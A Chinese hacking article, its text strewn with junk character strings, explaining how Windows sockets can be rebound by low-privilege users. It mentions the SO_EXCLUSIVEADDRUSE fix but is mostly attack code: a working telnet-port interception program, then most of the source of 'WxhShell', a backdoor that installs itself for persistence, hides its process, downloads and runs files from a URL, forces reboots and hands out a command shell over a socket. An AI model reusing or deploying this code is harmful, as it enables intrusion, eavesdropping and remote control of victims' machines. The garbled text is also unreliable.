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在WINDOWS的SOCKET服务器应用的编程中,如下的语句或许比比都是: *$Df)iI6 s=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP); [~ sXjaL8 *8uSy/l saddr.sin_family = AF_INET; GP5Y5) pCQB<6&1N saddr.sin_addr.s_addr = htonl(INADDR_ANY); ;y7V-sf _Z|s!~wdz bind(s,(SOCKADDR *)&saddr,sizeof(saddr)); vRLkz4z i~dW)7 其实这当中存在在非常大的安全隐患,因为在winsock的实现中,对于服务器的绑定是可以多重绑定的,在确定多重绑定使用谁的时候,根据一条原则是谁的指定最明确则将包递交给谁,而且没有权限之分,也就是说低级权限的用户是可以重绑定在高级权限如服务启动的端口上的,这是非常重大的一个安全隐患。 ''Y}Q" [*j
C 这意味着什么?意味着可以进行如下的攻击: yuvt<kz _G!lQ)1 1。一个木马绑定到一个已经合法存在的端口上进行端口的隐藏,他通过自己特定的包格式判断是不是自己的包,如果是自己处理,如果不是通过127.0.0.1的地址交给真正的服务器应用进行处理。 [y73
xF bqXCe\# 2。一个木马可以在低权限用户上绑定高权限的服务应用的端口,进行该处理信息的嗅探,本来在一个主机上监听一个SOCKET的通讯需要具备非常高的权限要求,但其实利用SOCKET重绑定,你可以轻易的监听具备这种SOCKET编程漏洞的通讯,而无须采用什么挂接,钩子或低层的驱动技术(这些都需要具备管理员权限才能达到) Hb3+$vJ^ Q)c$^YsI 3。针对一些的特殊应用,可以发起中间人攻击,从低权限用户上获得信息或事实欺骗,如在guest权限下拦截telnet服务器的23端口,如果是采用NTLM加密认证,虽然你无法通过嗅探直接获取密码,但一旦有admin用户通过你登陆以后,你的应用就完全可以发起中间人攻击,扮演这个登陆的用户通过SOCKET发送高权限的命令,到达入侵的目的。 e'oM%G[ a<%WFix 4.对于构建的WEB服务器,入侵者只需要获得低级的权限,就可以完全达到更改网页目的,很简单,扮演你的服务器给予连接请求以其他信息的应答,甚至是基于电子商务上的欺骗,获取非法的数据。 28;D>6c _$me. 其实,MS自己的很多服务的SOCKET编程都存在这样的问题,telnet,ftp,http的服务实现全部都可以利用这种方法进行攻击,在低权限用户上实现对SYSTEM应用的截听。包括W2K+SP3的IIS也都一样,那么如果你已经可以以低权限用户入侵或木马植入的话,而且对方又开启了这些服务的话,那就不妨一试。并且我估计还有很多第三方的服务也大多存在这个漏洞。 &rX..l )K8k3]y& 解决的方法很简单,在编写如上应用的时候,绑定前需要使用setsockopt指定SO_EXCLUSIVEADDRUSE要求独占所有的端口地址,而不允许复用。这样其他人就无法复用这个端口了。 5O
Ob( s7CoUd2 下面就是一个简单的截听ms telnet服务器的例子,在GUEST用户下都能成功进行截听,剩余的就是大家根据自己的需要,进行一些特殊剪裁的问题了:如是隐藏,嗅探数据,高权限用户欺骗等。 \]U@=w zn T85#]\@ #include U
n#7@8, #include 66?!"w #include mAFqA #include l[O!_bH DWORD WINAPI ClientThread(LPVOID lpParam); 2roPZj int main() k[l+~5ix { ,# 1ke WORD wVersionRequested; WYQJ+z5 DWORD ret; J<Wz3}w6 WSADATA wsaData; aXyu%<@k BOOL val; EOrWax@k$} SOCKADDR_IN saddr; ~(tZW SOCKADDR_IN scaddr; K h9 $ int err; ,|_ewye SOCKET s; :".:Wd SOCKET sc; Q/6T?{\U7 int caddsize; C+Wb_ HANDLE mt; "aN<3b DWORD tid; <0T4MR7 wVersionRequested = MAKEWORD( 2, 2 ); (}fbs/8\p err = WSAStartup( wVersionRequested, &wsaData ); )p"37Ct? if ( err != 0 ) { TR rO- printf("error!WSAStartup failed!\n"); .9Bimhc6K return -1; <JHU*Z } V; 1r saddr.sin_family = AF_INET; o$m64l br}.s@~ //截听虽然也可以将地址指定为INADDR_ANY,但是要不能影响正常应用情况下,应该指定具体的IP,留下127.0.0.1给正常的服务应用,然后利用这个地址进行转发,就可以不影响对方正常应用了 36JVnW; WIXzxI<) saddr.sin_addr.s_addr = inet_addr("192.168.0.60"); y6'Fi(2yw saddr.sin_port = htons(23); H*3f8A&@s if((s=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP))==SOCKET_ERROR) |EaGKC(
{ `LnL d;Z printf("error!socket failed!\n"); j?1\E9&4-Q return -1; {nT !|S)$ } -[s*R%w val = TRUE; ](NSpU|* //SO_REUSEADDR选项就是可以实现端口重绑定的 :tM|$TZ if(setsockopt(s,SOL_SOCKET,SO_REUSEADDR,(char *)&val,sizeof(val))!=0) .s|n}{D_i { Z~8Xp printf("error!setsockopt failed!\n"); __c:$7B/4U return -1; |v8 >22y } 9Ps:]Kp!vN //如果指定了SO_EXCLUSIVEADDRUSE,就不会绑定成功,返回无权限的错误代码; ]DdD
FLM //如果是想通过重利用端口达到隐藏的目的,就可以动态的测试当前已绑定的端口哪个可以成功,就说明具备这个漏洞,然后动态利用端口使得更隐蔽 4x=rew>Ew //其实UDP端口一样可以这样重绑定利用,这儿主要是以TELNET服务为例子进行攻击 @QtJ/("&WC /a6\G.C5 if(bind(s,(SOCKADDR *)&saddr,sizeof(saddr))==SOCKET_ERROR) A6}M F { *Xt#04_ ret=GetLastError(); !h7`W*:: printf("error!bind failed!\n"); Ly\$?3h return -1; P"_x/C(]@J } &by,uVb=|{ listen(s,2); 71cc6T while(1) ?]f+)tCMs { _%!C;`3Y caddsize = sizeof(scaddr); F8YD: //接受连接请求 q|om^:n. sc = accept(s,(struct sockaddr *)&scaddr,&caddsize); ~R/7J{Sg if(sc!=INVALID_SOCKET) <"/Y`/ { E8=.TM]L mt = CreateThread(NULL,0,ClientThread,(LPVOID)sc,0,&tid); %p"x|e if(mt==NULL) m~r^@D { a@zKi; printf("Thread Creat Failed!\n"); 2Ua_7 break; \P!v9LX( } LLg ']9 } TclZdk]%T CloseHandle(mt); b]~X
U } wCeSs=[ closesocket(s); 5?k_Q"~ WSACleanup(); =ALy.^J= return 0; JrseU6N } _x z_D12 DWORD WINAPI ClientThread(LPVOID lpParam) E3.=|]W' { `8\pihww SOCKET ss = (SOCKET)lpParam; mT5d[lz SOCKET sc; TF|GGYi unsigned char buf[4096]; )rz4IfE SOCKADDR_IN saddr; { LJwW*? long num; 6<NaME DWORD val; 29u"\f a DWORD ret; s>~!r.GC //如果是隐藏端口应用的话,可以在此处加一些判断 (G}*ho //如果是自己的包,就可以进行一些特殊处理,不是的话通过127.0.0.1进行转发 ;7 i0ko9 saddr.sin_family = AF_INET; >
zh%CF$ saddr.sin_addr.s_addr = inet_addr("127.0.0.1"); v@`#!iu saddr.sin_port = htons(23); {{f%w$r( if((sc=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP))==SOCKET_ERROR) LcE!e%3 {
q>r9ooN printf("error!socket failed!\n"); B c*Rn3i@ return -1; j)C%zzBu( } XV)ej>A-V val = 100; l+bP48 if(setsockopt(sc,SOL_SOCKET,SO_RCVTIMEO,(char *)&val,sizeof(val))!=0) Hy|$7]1 { 4eYj.=I ret = GetLastError(); R8Lp8!F' return -1; TuBg 4\V } HV&N(;@ if(setsockopt(ss,SOL_SOCKET,SO_RCVTIMEO,(char *)&val,sizeof(val))!=0) &B#HgWud { `BMg\2Ud* ret = GetLastError(); @8|- C return -1; 9Z6] ];8E } U{h5uezD if(connect(sc,(SOCKADDR *)&saddr,sizeof(saddr))!=0) rcq(p(! { g$?B!!qT printf("error!socket connect failed!\n"); X82sw>Y closesocket(sc);
,L\OhT closesocket(ss); Cq u/(= return -1; vC$[Zm } QZ"Lh while(1) s8{3~ Hv { c 3 P //下面的代码主要是实现通过127。0。0。1这个地址把包转发到真正的应用上,并把应答的包再转发回去。 -#Yg B5 //如果是嗅探内容的话,可以再此处进行内容分析和记录 g!V;*[ //如果是攻击如TELNET服务器,利用其高权限登陆用户的话,可以分析其登陆用户,然后利用发送特定的包以劫持的用户身份执行。 8Y
sn8 num = recv(ss,buf,4096,0); Vg\EAs>f if(num>0) D^04b<O<x send(sc,buf,num,0); f 7y1V(t else if(num==0) 0D/j2cT("k break; k:Uyez num = recv(sc,buf,4096,0); ;6L<Syl5 if(num>0) 0DIaXdOdW+ send(ss,buf,num,0); n+rAbn5o$ else if(num==0) xI<Dc*G break; T5-50nU,~ } hBLJKSv closesocket(ss); aQMET~A: closesocket(sc); X/];*='Q return 0 ; I&YYw8& } niFX8%<hP UALwr>+VJ ^lB1- ;ng ========================================================== (".`#909 E[Tz%x=P 下边附上一个代码,,WXhSHELL HpSgGhL'J& ]b.@i&M ==========================================================
IpoZ6DB$ |Ag~k? QC #include "stdafx.h" d&wg\"E O=MO M #include <stdio.h> MQD UJ^I$ #include <string.h> >VE,/?71@ #include <windows.h> G! zV=p #include <winsock2.h> %TPnC'2 #include <winsvc.h> Zu_m$Mx #include <urlmon.h> Q68&CO(rE W~POS'1 #pragma comment (lib, "Ws2_32.lib") /.aZXC$] #pragma comment (lib, "urlmon.lib") +AtZltM i a_L&*%; #define MAX_USER 100 // 最大客户端连接数 f&js,NU" #define BUF_SOCK 200 // sock buffer 1G=1FGvP #define KEY_BUFF 255 // 输入 buffer ^%)'wDK H-nk\ K<| #define REBOOT 0 // 重启 <)uUAh #define SHUTDOWN 1 // 关机 hc"+6xc 7cK#fh"hvg #define DEF_PORT 5000 // 监听端口 ]N:SB &%>l9~F'~ #define REG_LEN 16 // 注册表键长度 37v!:xF! #define SVC_LEN 80 // NT服务名长度 z=N'evx~ AVOzx00U // 从dll定义API {e<J}-/? typedef DWORD (WINAPI pREGISTERSERVICEPROCESS) (DWORD,DWORD); (%oZgvM typedef LONG (WINAPI *PROCNTQSIP)(HANDLE,UINT,PVOID,ULONG,PULONG); Vu*yEF} typedef BOOL (WINAPI *ENUMPROCESSMODULES) (HANDLE hProcess, HMODULE * lphModule, DWORD cb, LPDWORD lpcbNeeded); yj `b-^$? typedef DWORD (WINAPI *GETMODULEBASENAME) (HANDLE hProcess, HMODULE hModule, LPTSTR lpBaseName, DWORD nSize); B$ +YK%I H(lq=M0~ // wxhshell配置信息 ..Zuy|?w struct WSCFG { bDeHU$ int ws_port; // 监听端口 !Q*.Dw()[ char ws_passstr[REG_LEN]; // 口令 9FP6Z[4 int ws_autoins; // 安装标记, 1=yes 0=no mSY;hJi char ws_regname[REG_LEN]; // 注册表键名 NC>rZS] char ws_svcname[REG_LEN]; // 服务名 X<x"\Yk char ws_svcdisp[SVC_LEN]; // 服务显示名 @r%[e1. char ws_svcdesc[SVC_LEN]; // 服务描述信息 o`+6E
q0w char ws_passmsg[SVC_LEN]; // 密码输入提示信息 8%_XJyg int ws_downexe; // 下载执行标记, 1=yes 0=no (i.MxGDd char ws_fileurl[SVC_LEN]; // 下载文件的 url, " http://xxx/file.exe" ]N*q3 y|) char ws_filenam[SVC_LEN]; // 下载后保存的文件名 0F1 a drBWo|/ }; 54JZEc lV?rC z // default Wxhshell configuration W% YJ.%I struct WSCFG wscfg={DEF_PORT, zQ(li9 "xuhuanlingzhe", AZ(["kh[ 1, );kO27dg "Wxhshell", aG%KiJ7KEN "Wxhshell", qy`@\)S/5 "WxhShell Service", QjWv?tm "Wrsky Windows CmdShell Service", 'aBX>M "Please Input Your Password: ", u&I?LZ-=, 1, .6z#o{n " http://www.wrsky.com/wxhshell.exe", U-QK
"Wxhshell.exe" O/e5LA }; L
Bb&av Cl7IP<. // 消息定义模块 8+k\0fmy char *msg_ws_copyright="\n\rWxhShell v1.0 (C)2005 http://www.wrsky.com\n\rMake by 虚幻灵者\n\r"; !l?Go<^*L char *msg_ws_prompt="\n\r? for help\n\r#>"; Op" \i char *msg_ws_cmd="\n\ri Install\n\rr Remove\n\rp Path\n\rb reboot\n\rd shutdown\n\rs Shell\n\rx exit\n\rq Quit\n\r\n\rDownload:\n\r#> http://.../server.exe\n\r"; 54_CewL1P] char *msg_ws_ext="\n\rExit."; h1z[ElEeoP char *msg_ws_end="\n\rQuit."; nC$f0r"z char *msg_ws_boot="\n\rReboot..."; ]ctUl#j char *msg_ws_poff="\n\rShutdown..."; ]!d #2( char *msg_ws_down="\n\rSave to "; MOP/ q4j[ >~){KV1~ char *msg_ws_err="\n\rErr!"; R56:}<Y, char *msg_ws_ok="\n\rOK!"; _k\*4K8L IiHl"2+/ char ExeFile[MAX_PATH]; 3Nd&*QSV int nUser = 0; )-xx$0mL- HANDLE handles[MAX_USER]; EFW'D=&h8 int OsIsNt; <ap%+(!I i~@e}= SERVICE_STATUS serviceStatus; y1p^
&9 U SERVICE_STATUS_HANDLE hServiceStatusHandle; i;s&;_0{ [c+[t3dz // 函数声明 Y#V`i K int Install(void); jX-v9eaA int Uninstall(void); 3!_y@sWx int DownloadFile(char *sURL, SOCKET wsh); elG<\[ int Boot(int flag); ;2(8&. void HideProc(void); - jfZLO4 int GetOsVer(void); n[|&nv6x
int Wxhshell(SOCKET wsl); \l?\%aqm void TalkWithClient(void *cs); VU J*\Sg int CmdShell(SOCKET sock); ( MWh|kp int StartFromService(void); eGHxiC int StartWxhshell(LPSTR lpCmdLine); JfxD-9U^>u Jt\?,~, VOID WINAPI NTServiceMain( DWORD dwArgc, LPTSTR *lpszArgv ); 3BAls+<p o VOID WINAPI NTServiceHandler( DWORD fdwControl ); q!\K!W \ \rn:/ // 数据结构和表定义 |a%&7-; SERVICE_TABLE_ENTRY DispatchTable[] = TppR \[4] { { " woBOaA {wscfg.ws_svcname, NTServiceMain}, 26B]b{Iz{ {NULL, NULL} =H%c/Jty }; v#q7hw= - Ob'/d5& // 自我安装 'h53:?~ int Install(void) z|^:1ov, { X=USQj\A char svExeFile[MAX_PATH]; \HF|&@}hU HKEY key; KhIg strcpy(svExeFile,ExeFile); (2RZc].M~ ;{[&&qMwU // 如果是win9x系统,修改注册表设为自启动 wHq*)7#h# if(!OsIsNt) { >B<jR$`6@ if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { L:nZ_O; RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); pUutI|mt/ RegCloseKey(key); .:A9*, if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { 8C7$8x]mM RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); -`sK?*[{J RegCloseKey(key); hm*1w6 = return 0; bW\OKI1 } (S$ziV } rV*9= } N_(qMW else { Au<NUc
2 KV0M^B|W // 如果是NT以上系统,安装为系统服务 2kzm(K SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_CREATE_SERVICE); C ?JcCD2 if (schSCManager!=0) XZde}zUWn { piIj
t SC_HANDLE schService = CreateService pKJ0+mN#" ( :c[iS~ ~Y schSCManager, w/BaaF.0 wscfg.ws_svcname, |l'BNuiU wscfg.ws_svcdisp, F6J,: SERVICE_ALL_ACCESS, [vh&o-6 SERVICE_WIN32_OWN_PROCESS|SERVICE_INTERACTIVE_PROCESS , c}v>Mx SERVICE_AUTO_START, ZFpi'u.& SERVICE_ERROR_NORMAL, MKzIY:ug svExeFile, O
W`yv NULL, 8MqKS}\H NULL, J:LwO NULL, n`gW&5,,z NULL, )F*;7]f NULL 3]"RaI4Q0 ); V<:scLm#OF if (schService!=0) *;@V5[^3I? { +NWhvs CloseServiceHandle(schService); '0|0rwx CloseServiceHandle(schSCManager); z/Z
0cM# strcpy(svExeFile,"SYSTEM\\CurrentControlSet\\Services\\"); 3}*)EC strcat(svExeFile,wscfg.ws_svcname); Qau\6p>^ if(RegOpenKey(HKEY_LOCAL_MACHINE,svExeFile,&key)==ERROR_SUCCESS) { 3pg_` RegSetValueEx(key,"Description",0,REG_SZ,(BYTE *)wscfg.ws_svcdesc,lstrlen(wscfg.ws_svcdesc)); xc{$=>'G RegCloseKey(key); m%au* 0p return 0; LgFF+z } qM%l } $fZVh% CloseServiceHandle(schSCManager); w6FtDl$ } 3H"bivK } vdA3 7bJAOJ'_ return 1; s[6y|{&ze } v3>jXf -=5]B ; // 自我卸载 1?+%*uoPX int Uninstall(void) Q#!|h:K { T6_LiB@ HKEY key; _UU- Zw6UH;5 if(!OsIsNt) { [C_Dv-d if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { mz)Z
=`hy RegDeleteValue(key,wscfg.ws_regname); 9?W!E_ RegCloseKey(key); )~@iM.}S2 if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { LWwWxerZ RegDeleteValue(key,wscfg.ws_regname); p+6L qk< RegCloseKey(key); P(h[QAM return 0; BO]}E:C9 } e+416
~X
v } EhJpJb[Z } -aj) _.d else { ]1YyP fbv%&z SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_ALL_ACCESS); MYI*0o; if (schSCManager!=0) j!m42 { sUl/9VKl SC_HANDLE schService = OpenService( schSCManager, wscfg.ws_svcname, SERVICE_ALL_ACCESS); A_nu:K- if (schService!=0) Z'/sZ3Q} { RC{|:@]8 if(DeleteService(schService)!=0) { 6IRzm6d CloseServiceHandle(schService); .zDm{_' CloseServiceHandle(schSCManager); |Iq#Q3w return 0; )S~ySiJ<U } oW7\T!f CloseServiceHandle(schService); {Ee[rAVGp } lJ y\Ky(* CloseServiceHandle(schSCManager); A\xvzs.d } 8<#S:O4kA } oY;=$8y<q ?-.Qv1hs6p return 1; bSbUf%LKt } a[).'$S}' aJ;6!WFW // 从指定url下载文件 1uz7E int DownloadFile(char *sURL, SOCKET wsh) EGD&/%aC { #0*OkZMt HRESULT hr; Dq$co1eT char seps[]= "/"; bIs@CDB char *token; y*6-?@ char *file; s}m.r5 char myURL[MAX_PATH]; %p wpRD@ char myFILE[MAX_PATH]; Y\cQ"9 Gh.@l\|tf strcpy(myURL,sURL); 7|vB\[s token=strtok(myURL,seps); -XcX1_ while(token!=NULL) FEoH$.4 { ;giW file=token; e3YdHp token=strtok(NULL,seps); I{rW+<)QGC } ^TWMYF- )cF1?2 GetCurrentDirectory(MAX_PATH,myFILE); 7"|j.Yq$H{ strcat(myFILE, "\\"); 7E4Xvg+c strcat(myFILE, file); HW,2x} [ send(wsh,myFILE,strlen(myFILE),0); vH`m
W`= send(wsh,"...",3,0); aM2[<m} hr = URLDownloadToFile(0, sURL, myFILE, 0, 0); *Y!c6eA if(hr==S_OK) 9bE/7v return 0; }iu(-{Z else 97XGJ1HI return 1; Z3jtq-y 3B+
F'k } Tw)"#Y!T S zqY@ // 系统电源模块 BkO)hze int Boot(int flag) C{"uz_Gh { ?:8wDV HANDLE hToken; Po+tk5}''5 TOKEN_PRIVILEGES tkp; c<T'_93 VlLc[eVV if(OsIsNt) { !"dn!X OpenProcessToken(GetCurrentProcess(),TOKEN_ADJUST_PRIVILEGES | TOKEN_QUERY, &hToken); 9[L@*7A`m LookupPrivilegeValue(NULL, SE_SHUTDOWN_NAME,&tkp.Privileges[0].Luid); <kY|| tkp.PrivilegeCount = 1; ]t'bd<O tkp.Privileges[0].Attributes = SE_PRIVILEGE_ENABLED; Y$L>tFA AdjustTokenPrivileges(hToken, FALSE, &tkp, 0,(PTOKEN_PRIVILEGES)NULL, 0); @1p, if(flag==REBOOT) { ,vN0Jpf}\8 if(ExitWindowsEx(EWX_REBOOT | EWX_FORCE, 0)) \q |n0> return 0; @qGg=)T } vWM'}( else { {1jywb
} if(ExitWindowsEx(EWX_POWEROFF | EWX_FORCE, 0)) #c2InwZV return 0; s3.,
N| } L.]mC ! }
`LWZ!Q else { |ULwUi-r if(flag==REBOOT) { 1zz.`.R2U if(ExitWindowsEx(EWX_REBOOT + EWX_FORCE,0)) eqFOPK5q return 0; #"Wh$x% } GNv5yWQ@ else { jNO8n)a&p if(ExitWindowsEx(EWX_SHUTDOWN + EWX_FORCE,0)) l}Fa-9_' return 0; m4@f&6x } p| #gn<z} } O8J:Tw}M* UdSu:V| return 1; 6BPZ2EQ } |B0.*te6 guD?~-Q // win9x进程隐藏模块 lQ}e"#< void HideProc(void) &dC #nw { @3UVl^T =XT'D@q~W HINSTANCE hKernel=LoadLibrary("Kernel32.dll"); wu2AhMGmw if ( hKernel != NULL ) N,><,7!q$, { 0 CJ4]mYl pREGISTERSERVICEPROCESS *pRegisterServiceProcess=(pREGISTERSERVICEPROCESS *)GetProcAddress(hKernel,"RegisterServiceProcess"); ji &*0GJQ ( *pRegisterServiceProcess)(GetCurrentProcessId(),1); )kE(%q:*P$ FreeLibrary(hKernel); rI[Lg0S } ]:Q7Gys d\cwUXf
J return; ,0~/ Cn
} /&+6nOP qM$~5uu // 获取操作系统版本 HxVQeyOR int GetOsVer(void) })l+-H" { yk5T"#'+ OSVERSIONINFO winfo; }UzO_&Z#6 winfo.dwOSVersionInfoSize=sizeof(OSVERSIONINFO); <IF\;,.c GetVersionEx(&winfo); jZ'y_ if(winfo.dwPlatformId==VER_PLATFORM_WIN32_NT) <N{pMz return 1; mndUQN_Gb else o6} +5 return 0; 0shNwV1zF } wFW2m J)l]<## // 客户端句柄模块 P7Th94 int Wxhshell(SOCKET wsl) WAj26";M( { {,5=U@J SOCKET wsh; }}GBCXAf_ struct sockaddr_in client; 'z#{'`$a DWORD myID; (VPT% l6 )-3!-1 while(nUser<MAX_USER) 1m/=MET] { $Xlyc.8YId int nSize=sizeof(client); Cf_Ik wsh=accept(wsl,(struct sockaddr *)&client,&nSize); PAe2hJ if(wsh==INVALID_SOCKET) return 1; zN\~v o(W|BD! handles[nUser]=CreateThread(0,1000,(LPTHREAD_START_ROUTINE) TalkWithClient,(VOID *) wsh, 0, &myID); mne^PSI: if(handles[nUser]==0) ?-F SDNQ closesocket(wsh); ]`D(/l' else ^}2 ie| nUser++; Qa,^;hZWS } !U"1ZsO)l WaitForMultipleObjects(MAX_USER,handles,TRUE,INFINITE); (u]ajT Bc4{$sc"O return 0; J! 4l-.- } '_n{+eR74 dt"[5;_P` // 关闭 socket VA _O0y2 void CloseIt(SOCKET wsh) 5L<}u`0J { ?=<vC closesocket(wsh); }P$48o VY nUser--; uP/WRQ{rW> ExitThread(0); jl<rxO?-F } Rk
PY@> s0Ii;7fA{ // 客户端请求句柄 &)vX7*j void TalkWithClient(void *cs) F<?e79},` { I `44}oJ XM/P2=; SOCKET wsh=(SOCKET)cs; GLb}_-| char pwd[SVC_LEN]; ;G.m;5A char cmd[KEY_BUFF]; g<s[6yA char chr[1]; *@Z/L26s;= int i,j; `4cs.ab Rg&6J#h while (nUser < MAX_USER) { z[Kxy1, `hM:U if(wscfg.ws_passstr) { Ep}KIBBO if(strlen(wscfg.ws_passmsg)) send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); O.=~/!( //send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); {6<7M //ZeroMemory(pwd,KEY_BUFF); )o[ O%b i=0; yI9l*' while(i<SVC_LEN) { >taS<.G b?o T|@ // 设置超时 q[]!V0Ek10 fd_set FdRead; $JTy`g0>x struct timeval TimeOut; 1h\: Lj FD_ZERO(&FdRead); oKTIoTb FD_SET(wsh,&FdRead); _QtqQ~f TimeOut.tv_sec=8;
9`^VuC' TimeOut.tv_usec=0; Iz2K int Er=select(wsh+1, &FdRead, NULL, NULL, &TimeOut); 3V`K^X3 if((Er==SOCKET_ERROR) || (Er==0)) CloseIt(wsh); vi0% jsI u+s#Fee I if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); XJ]MPiXj pwd =chr[0]; >b-rAO\{} if(chr[0]==0xd || chr[0]==0xa) { UD*#!H pwd=0; @Qx|!% break; I
TJ>[c]x } `sN3iD!@R i++; JRA. ,tQc } >"F~%D<. >qx~m>2|8] // 如果是非法用户,关闭 socket g\
@nA4 if(strcmp(pwd,wscfg.ws_passstr)) CloseIt(wsh); n/s!S & } 3h";
2 O6;>]/` send(wsh,msg_ws_copyright,strlen(msg_ws_copyright),0); m7kDxs(KO send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); U:MkA(S%c <_ */ while(1) { aQN`C{nY #rV=!j|| ZeroMemory(cmd,KEY_BUFF); @DkPJla& N)RWC7th{ // 自动支持客户端 telnet标准 _OcgD< j=0; }QncTw0 while(j<KEY_BUFF) { 5"y
p|Yl if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); svyC(m)' cmd[j]=chr[0]; K4n1#]8i if(chr[0]==0xa || chr[0]==0xd) { &tD`~ cmd[j]=0; ?9!tMRb break; N)
{ } Ats"iV j++; {<~XwJ. } z.Y7 u3K.8 HcHfwLin0 // 下载文件 $2>tfKhtA if(strstr(cmd,"http://")) { FTCp3g send(wsh,msg_ws_down,strlen(msg_ws_down),0); -ihF)^"a if(DownloadFile(cmd,wsh)) }#<Sq57n send(wsh,msg_ws_err,strlen(msg_ws_err),0); ;y6Jo else U3kf$nbV/J send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); FEaf&'G] } <4{@g]0RV else { '[Oi_gE. An[*Jx switch(cmd[0]) { u{H,i(mx? 7L;yN..0 // 帮助 ~uC4>+dk case '?': { um#;S; send(wsh,msg_ws_cmd,strlen(msg_ws_cmd),0); 92Ar0j] break; M|d[iaM, } 8)"KPr63M // 安装 Y hLtf(r case 'i': { #A]7cMZ'W if(Install()) bdaZ{5^{ send(wsh,msg_ws_err,strlen(msg_ws_err),0); (^a;2j9 else L{^DZg|E send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); pJa FPO..| break; 7R))(- } e,~c~Db*
Q // 卸载 o,\%c"mC case 'r': { V]k!] if(Uninstall()) a2=wJhk send(wsh,msg_ws_err,strlen(msg_ws_err),0); mu"]B] else .j}u'!LKul send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); Rdt8jY6F/ break; ;%dkwKO } mZ/B:)_ // 显示 wxhshell 所在路径 1LPfn( case 'p': { 'b661,+d char svExeFile[MAX_PATH]; yH#;k:O= strcpy(svExeFile,"\n\r"); wmo'Pl strcat(svExeFile,ExeFile); =53LapTPJ send(wsh,svExeFile,strlen(svExeFile),0); &@+K%qW[e break; gP(-Op } @/$mZ]|T // 重启 F|P2\SPL case 'b': { "bf8[D send(wsh,msg_ws_boot,strlen(msg_ws_boot),0); n+Ag |.,| if(Boot(REBOOT)) <*(~x esPS send(wsh,msg_ws_err,strlen(msg_ws_err),0); p+8]H
% else { 8!UZ.. closesocket(wsh); z%Z}vWn ExitThread(0); &g& &-=7) } =l7LEkR break; sM5 w~R>Y } TdQ^^{SRp // 关机 r]HLO'<] case 'd': { !%s7I^f* send(wsh,msg_ws_poff,strlen(msg_ws_poff),0); "apv)xdW if(Boot(SHUTDOWN)) KG3*~G send(wsh,msg_ws_err,strlen(msg_ws_err),0); =JVRm
2#* else { =dA T^e## closesocket(wsh); (ZEVbAY?i ExitThread(0); |%RFXkHS } VsZ_So; break; !@YYi[Gk } iT5H<uS // 获取shell 0a'@J~v! case 's': { ItaJgtsV CmdShell(wsh); B:mlBSH closesocket(wsh); .9^;? Ts ExitThread(0); 'h=
>ej* break; q!ZmF1sU } ]#:xl}'LS // 退出 w
x,; case 'x': { qyJpm{ send(wsh,msg_ws_ext,strlen(msg_ws_ext),0); l&|{uk CloseIt(wsh); !k s<VJh break; =u'/\nxCF } @H_LPn // 离开 zcZw} case 'q': { sQ)4kF&, send(wsh,msg_ws_end,strlen(msg_ws_end),0); S~TJF}[k^6 closesocket(wsh); A.h?#%TLL WSACleanup(); % qE#^ U exit(1); ?x[>g!r break; kW:!$MX! } C,<TAm } &&y@/<t } =[jBOx& 7J;.T%4l // 提示信息 =f|>7m.p if(strlen(cmd)) send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); hy]AH)?pR } CTP% } |n|2)hC (gmB$pwS return; i,<-+L$z } U)PumU+z$u 0Gs]>B4r/ // shell模块句柄 b
gDDys int CmdShell(SOCKET sock) 3AL.UBj&} { $I/p 6 STARTUPINFO si; Y$Ke{6 4 ZeroMemory(&si,sizeof(si)); /vV 0$vg si.dwFlags=STARTF_USESHOWWINDOW|STARTF_USESTDHANDLES; .Lp-'!i si.hStdInput=si.hStdOutput =si.hStdError =(void *)sock; e=R}
4` PROCESS_INFORMATION ProcessInfo; .iS]aJJ char cmdline[]="cmd"; .o8Gi*PEY CreateProcess(NULL,cmdline,NULL,NULL,1,0,NULL,NULL,&si,&ProcessInfo); jFc{$#g- return 0; }rQ*!2Y? } ?yU#'`q 'oEmbk8Hg // 自身启动模式 Iymz2 int StartFromService(void) |S8pq4eKJ_ { GkC88l9z typedef struct z? aDOh { o99 a=x6 DWORD ExitStatus; MDq @:t DWORD PebBaseAddress; aF=VJ+5 DWORD AffinityMask; *,pqpD> DWORD BasePriority; pZjFpd| ULONG UniqueProcessId; w&gHmi ULONG InheritedFromUniqueProcessId; Ygl!fC
4b } PROCESS_BASIC_INFORMATION; {HU48v"W Cnr48ukq PROCNTQSIP NtQueryInformationProcess; TGLXvP&
\ re!CF8
q static ENUMPROCESSMODULES g_pEnumProcessModules = NULL ; *k}d@j,*" static GETMODULEBASENAME g_pGetModuleBaseName = NULL ; ~h/U ;Da UGMdWq HANDLE hProcess; 0#7dm9 PROCESS_BASIC_INFORMATION pbi; r__M1
!3 %Fv)$ :b HINSTANCE hInst = LoadLibraryA("PSAPI.DLL"); #n"/9%35f` if(NULL == hInst ) return 0; ?xet:#R' Txh;r.1e g_pEnumProcessModules = (ENUMPROCESSMODULES)GetProcAddress(hInst ,"EnumProcessModules");
